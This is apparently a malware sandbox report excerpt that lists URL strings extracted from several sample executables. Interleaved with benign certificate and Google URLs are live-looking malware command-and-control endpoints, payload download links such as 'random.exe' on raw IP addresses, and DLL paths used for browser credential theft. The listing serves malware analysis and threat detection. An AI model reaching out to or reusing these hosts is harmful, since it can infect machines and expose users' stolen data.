Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395d7
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61395d7f
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exef
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeq
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exerlencodedy
Source: file.exe, 00000000.00000002.1827260082.0000000001924000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: file.exe, 00000000.00000002.1824673224.0000000000DA5000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1827260082.00000000018AE000.00000004.00000020.00020000.00000000.sdmp, 5b96a79886.exe, 0000001D.00000002.2425494913.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, 5b96a79886.exe, 0000001D.00000002.2425494913.0000000001128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 5b96a79886.exe, 0000001D.00000002.2425494913.0000000001128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.1827260082.0000000001908000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.1827260082.0000000001908000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.1827260082.0000000001908000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.1827260082.0000000001908000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.1827260082.0000000001908000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllr
Source: file.exe, 00000000.00000002.1827260082.0000000001908000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.1827260082.0000000001908000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllm
Source: file.exe, 00000000.00000002.1827260082.0000000001908000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.1827260082.0000000001908000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.1827260082.0000000001908000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll.
Source: 5b96a79886.exe, 0000001D.00000002.2425494913.0000000001128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/C:
Source: 5b96a79886.exe, 0000001D.00000002.2425494913.0000000001128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/T
Source: 5b96a79886.exe, 0000001D.00000002.2425494913.0000000001128000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: 5b96a79886.exe, 0000001D.00000002.2425494913.0000000001117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php0
Source: file.exe, 00000000.00000003.1516196301.0000000001959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1
Source: file.exe, 00000000.00000002.1859292853.0000000023F97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php143
Source: file.exe, 00000000.00000003.1516196301.0000000001959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1wf
Source: file.exe, 00000000.00000003.1516196301.0000000001959000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php=fKj
Source: 5b96a79886.exe, 0000001D.00000002.2425494913.0000000001117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpEB
Source: file.exe, 00000000.00000002.1859292853.0000000023F97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpF
Source: 5b96a79886.exe, 0000001D.00000002.2425494913.0000000001117000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpaB8c
Source: file.exe, 00000000.00000002.1827260082.0000000001924000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phph
Source: file.exe, 00000000.00000002.1824673224.0000000000DA5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: file.exe, 00000000.00000002.1859292853.0000000023F97000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpj
Source: 5b96a79886.exe, 0000001D.00000002.2425494913.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206Z
Source: file.exe, 00000000.00000002.1824673224.0000000000DA5000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206rontdesk
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/15.113.43/ta
Source: skotes.exe, 00000015.00000002.2589998714.00000000016F9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php996001
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKw
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpKw8Mdp
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpZp
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpes
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpew
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncodedI=D
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpngPreference.Verb
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpq
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpr
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phps
Source: skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/onal
Source: skotes.exe, 00000015.00000002.2589998714.0000000001701000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000015.00000002.2589998714.0000000001701000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe?
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: bef6a59ce6.exe, 0000001B.00000003.2386253756.00000000052DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: bef6a59ce6.exe, 0000001B.00000003.2386253756.00000000052DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: bef6a59ce6.exe, 0000001B.00000003.2459738225.0000000000BD3000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000002.2589564960.0000000000BC2000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2424498951.0000000000BD3000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2483213897.0000000000BD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microh
Source: bef6a59ce6.exe, 0000001B.00000003.2386253756.00000000052DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: bef6a59ce6.exe, 0000001B.00000003.2386253756.00000000052DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: bef6a59ce6.exe, 0000001B.00000003.2386253756.00000000052DA000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: bef6a59ce6.exe, 0000001B.00000003.2386253756.00000000052DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: bef6a59ce6.exe, 0000001B.00000003.2386253756.00000000052DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17
Source: 5454ad7c1c.exe, 00000019.00000002.2576051777.0000000000D2A000.00000040.00000001.01000000.0000000F.sdmp, 5454ad7c1c.exe, 00000019.00000002.2598413852.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403
Source: 5454ad7c1c.exe, 00000019.00000002.2598413852.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403k
Source: 5454ad7c1c.exe, 00000019.00000002.2576051777.0000000000D2A000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der
Source: 5454ad7c1c.exe, 00000019.00000002.2598413852.000000000164E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403lsed
Source: 5454ad7c1c.exe, 00000019.00000002.2576051777.0000000000D2A000.00000040.00000001.01000000.0000000F.sdmp, 5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: bef6a59ce6.exe, 0000001B.00000003.2386253756.00000000052DA000.00000004.00000800.00020000.00000000.sdmp, freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: bef6a59ce6.exe, 0000001B.00000003.2386253756.00000000052DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_477.6.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.1885742746.000000007013D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1881959726.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1855103027.000000001DF5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: bef6a59ce6.exe, 0000001B.00000003.2386253756.00000000052DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: bef6a59ce6.exe, 0000001B.00000003.2386253756.00000000052DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1515559941.000000000197A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312017756.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2318808138.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2495454713.0000000005278000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2484352570.000000000528F000.00000004.00000800.00020000.00000000.sdmp, GIJECGDG.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_479.6.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_479.6.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: 5454ad7c1c.exe, 00000019.00000002.2576051777.0000000000D2A000.00000040.00000001.01000000.0000000F.sdmp, 5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: 5454ad7c1c.exe, 00000019.00000002.2576051777.0000000000D2A000.00000040.00000001.01000000.0000000F.sdmp, 5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: chromecache_477.6.dr, chromecache_479.6.dr	String found in binary or memory: https://apis.google.com
Source: file.exe, 00000000.00000002.1859292853.0000000023F86000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000002.1859292853.0000000023F86000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: file.exe, 00000000.00000003.1515559941.000000000197A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312017756.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2318808138.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2495454713.0000000005278000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2484352570.000000000528F000.00000004.00000800.00020000.00000000.sdmp, GIJECGDG.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1606586962.0000000023F2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1515559941.000000000197A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312017756.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2346528454.00000000052FF000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2345943732.0000000005307000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2318808138.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2495454713.0000000005278000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2484352570.000000000528F000.00000004.00000800.00020000.00000000.sdmp, AKFHDBFI.0.dr, GIJECGDG.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1606586962.0000000023F2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1515559941.000000000197A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312017756.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2346528454.00000000052FF000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2345943732.0000000005307000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2318808138.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2495454713.0000000005278000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2484352570.000000000528F000.00000004.00000800.00020000.00000000.sdmp, AKFHDBFI.0.dr, GIJECGDG.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.10.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.10.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chromecache_479.6.dr	String found in binary or memory: https://clients6.google.com
Source: chromecache_479.6.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.1859292853.0000000023F86000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1859292853.0000000023F86000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: bef6a59ce6.exe, 0000001B.00000002.2589564960.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2459738225.0000000000C19000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2412271308.0000000000C18000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2546282312.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: bef6a59ce6.exe, 0000001B.00000002.2589564960.0000000000BC2000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2459738225.0000000000C19000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2412271308.0000000000C18000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2483213897.0000000000BD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/-MargSj95
Source: bef6a59ce6.exe, 0000001B.00000002.2589564960.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/N
Source: bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/Xj
Source: bef6a59ce6.exe, 0000001E.00000002.2588705750.00000000009DB000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: bef6a59ce6.exe, 0000001B.00000003.2459738225.0000000000C19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api0ZA9
Source: bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A91000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apih
Source: bef6a59ce6.exe, 0000001B.00000003.2459738225.0000000000C19000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2483213897.0000000000BD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apis
Source: bef6a59ce6.exe, 0000001B.00000003.2459738225.0000000000BD3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apisiv
Source: bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiteA
Source: bef6a59ce6.exe, 0000001B.00000003.2343630966.00000000052C0000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2343684971.00000000052CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiu8LQ0JBb
Source: bef6a59ce6.exe, 0000001B.00000003.2310778109.0000000000C1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/fN
Source: bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: 5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 5454ad7c1c.exe, 00000019.00000002.2576051777.0000000000D2A000.00000040.00000001.01000000.0000000F.sdmp, 5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: 2cc80dabc69f58b6_0.10.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: manifest.json0.10.dr	String found in binary or memory: https://docs.google.com/
Source: chromecache_479.6.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.10.dr	String found in binary or memory: https://drive.google.com/
